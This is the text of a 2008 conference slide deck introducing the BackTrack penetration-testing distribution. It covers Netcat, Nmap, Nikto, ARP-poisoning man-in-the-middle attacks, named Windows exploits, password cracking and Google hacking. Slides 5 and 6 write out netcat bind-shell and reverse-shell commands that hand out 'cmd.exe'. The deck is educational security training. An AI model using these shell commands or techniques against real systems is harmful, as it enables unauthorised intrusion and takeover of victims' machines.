Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Kunal - Introduction to BackTrack - ClubHack2008


Published on

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Kunal - Introduction to BackTrack - ClubHack2008

  1. 1. Introduction to BackTrack Local boot to remote root in just one CD Thought for the day, “Don’t learn to hack, hack to learn”..!!! - Kunal Sehgal [email_address]
  2. 2. <ul><li>Introduction: </li></ul><ul><li>BackTrack is a suite of penetration testing/vulnerability assessment tools installed on a Linux Operating System, all wrapped-up on a bootable (live) CD </li></ul><ul><li>The most top rated Linux live distribution focused on penetration testing </li></ul><ul><li>Consists of more than 300 different up-to-date tools which are logically structured according to the work flow of security professionals </li></ul><ul><li>Rated #1 Security-Distro by & </li></ul>
  3. 3. <ul><li>Miscellaneous BT Services: </li></ul><ul><li>HTTP (Port: 80) </li></ul><ul><li>TFTP (Port: 69) </li></ul><ul><li>SSH (Port: 22) </li></ul><ul><li>VNC (Port: 5901) </li></ul>
  4. 4. <ul><li>Netcat: </li></ul><ul><li>A computer networking utility for reading from and writing to network connections on either TCP or UDP </li></ul><ul><li>Feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need, including port binding to accept incoming connections </li></ul><ul><li>Bind Shell </li></ul><ul><li>Reverse Shell </li></ul>
  5. 5. Attacker (Private IP) Victim (Public IP) NAT Internet Bind Shell: nc -lvp 4444 -e cmd.exe nc -v <IP> 4444 Internet Attacker Connects to Victim (Incoming Traffic)
  6. 6. Attacker (Public IP) Victim (Private IP) Internet Reverse Shell: nc -v <IP> 4444 -e cmd.exe nc -lvp 4444 Internet NAT Victim sends the shell (Outgoing Traffic)
  7. 7. <ul><li>Nmap: </li></ul><ul><li>A security scanner used to discover computers and services on a computer network, thus creating a &quot;map&quot; of the network </li></ul><ul><li>Capable of discovering passive services on a network despite the fact that such services aren't advertising themselves </li></ul><ul><li>May be able to determine various details about the remote computers. These include operating system, device type, uptime, software product used to run a service, exact version number of that product, etc. </li></ul>
  8. 8. <ul><li>Nikto: </li></ul><ul><li>A scanner which performs comprehensive tests against web servers for multiple items </li></ul><ul><li>Includes over 3500 potentially dangerous files/CGIs, versions on over 900 servers, and version specific problems on over 250 servers </li></ul><ul><li>Not every check is a security problem, though most are </li></ul><ul><li>There are some items that are &quot;info only&quot; type checks that look for items that may not have a security flaw, but the webmaster or security engineer may not know are present on the server </li></ul>
  9. 9. <ul><li>ARP Poisoning – Man In The Middle Attack: </li></ul><ul><li>MAC Address : Hardware address or physical address is a quasi-unique identifier assigned to most network adapters or network interface cards (NICs) by the manufacturer for identification </li></ul><ul><li>Address Resolution Protocol (ARP) : A method for finding a host's hardware address when only its Network Layer address is known </li></ul><ul><li>Ettercap : A suite for man in the middle attacks on LAN. It features sniffing of live connections, content filtering on the fly and many other interesting tricks </li></ul>
  10. 10. Attacker Sender Receiver Network Using A Hub Can easily sniff data
  11. 11. Attacker Sender Receiver Network Using A Switch Cannot sniff any data :(
  12. 12. Attacker Sender Receiver Man In The Middle Attack Hi everyone, I’m the switch
  13. 13. <ul><li>Exploits: </li></ul><ul><li>An exploit is a piece of software, a chunk of data, or sequence of commands that take advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur </li></ul><ul><li>Frequently includes such things as violently gaining control of a computer system or allowing privilege escalation or a denial of service attack </li></ul><ul><li>Zero Day Exploit: A threat that tries to exploit unknown, undisclosed or patchfree computer application vulnerabilities </li></ul><ul><li> & </li></ul>
  14. 14. <ul><li>Exploits (Conti…): </li></ul><ul><li>Attack / Exploit </li></ul>Vulnerability <ul><li>App </li></ul><ul><li>Protocol </li></ul><ul><li>O/S </li></ul><ul><li>Add a user </li></ul><ul><li>Get a remote shell </li></ul><ul><li>GUI access </li></ul><ul><li>Change routing tables </li></ul><ul><li>Etc.. Etc.. </li></ul>Payload
  15. 15. <ul><li>Exploit Frameworks: </li></ul><ul><li>A development platform for creating security tools and exploits </li></ul><ul><li>Used by network security professionals to perform penetration tests, system administrators to verify patch installations, product vendors to perform regression testing, and security researchers world-wide </li></ul><ul><li>A boon for script kiddies </li></ul>
  16. 16. <ul><li>Windows DCOM RPC Interface Buffer Overrun: </li></ul><ul><li>Exploits a vulnerability in Windows OS </li></ul><ul><li>The issue is due to insufficient bounds checking of client DCOM object activation requests. Exploitation of this issue could result in execution of malicious instructions with Local System privileges on an affected system </li></ul><ul><li> </li></ul><ul><li>Bind Shell </li></ul>
  17. 17. <ul><li>IE IsComponentInstalled Buffer Overflow Vulnerability: </li></ul><ul><li>Exploits a vulnerability in an application (MS Internet Explorer) </li></ul><ul><li>Microsoft Internet Explorer is prone to a remote buffer-overflow vulnerability in the 'IsComponentInstalled()' method. A successful exploit results in arbitrary code execution in the context of the user running the browser </li></ul><ul><li> </li></ul><ul><li>Reverse Shell </li></ul>
  18. 18. <ul><li>MS Windows Graphics Rendering Engine WMF: </li></ul><ul><li>Exploits a vulnerability in MS Windows WMF graphics rendering engine </li></ul><ul><li>The problem presents itself when a user views a malicious WMF formatted file, triggering the vulnerability when the engine attempts to parse the file </li></ul><ul><li> </li></ul>
  19. 19. <ul><li>Passwords Hacking: </li></ul><ul><li>Why hack local passwords? </li></ul><ul><ul><li>Install softwares – key loggers, trojans, etc </li></ul></ul><ul><ul><li>Gain access to another PC, Server, Router, etc. </li></ul></ul><ul><ul><li>People re-use passwords all the time </li></ul></ul><ul><li>Types of attack: </li></ul><ul><ul><li>Brute force Attack </li></ul></ul><ul><ul><li>Dictionary Attack </li></ul></ul><ul><ul><li>Rainbow Tables </li></ul></ul>
  20. 20. <ul><li>Password Attack Vectors: </li></ul><ul><li>Online Attack : Attacking network services that require a user to log on, by guessing the correct password </li></ul><ul><li>Offline Attack : Attacking hash files that store encrypted passwords </li></ul><ul><li>Physical Access Attack : Attacking machines and other network devices, after gaining physical access </li></ul>
  21. 21. <ul><li>How To Hack Windows Passwords? </li></ul><ul><li>Available Tools: John The Ripper, Cain & Abel, Rainbow Tables </li></ul><ul><li>Gain access to the victim’s PC </li></ul>
  22. 22. <ul><li>Google Hacking: </li></ul><ul><li>Google hacking is a term that refers to the act of creating complex search engine queries in order to filter through large amounts of search results </li></ul><ul><li>In its malicious format it can be used to detect websites that are vulnerable to numerous exploits and vulnerabilities as well as locate private, sensitive information about others </li></ul><ul><li> </li></ul>
  23. 23. <ul><li>References: </li></ul><ul><li> </li></ul><ul><li> </li></ul><ul><li> </li></ul><ul><li> </li></ul><ul><li> </li></ul><ul><li> </li></ul><ul><li> </li></ul><ul><li> </li></ul><ul><li> </li></ul><ul><li> </li></ul><ul><li> </li></ul>
  24. 24. <ul><li>Questions?? </li></ul><ul><li>Feel free to contact me: </li></ul><ul><li>Kunal Sehgal </li></ul>
  25. 25. <ul><li>Workshop Exercise: </li></ul>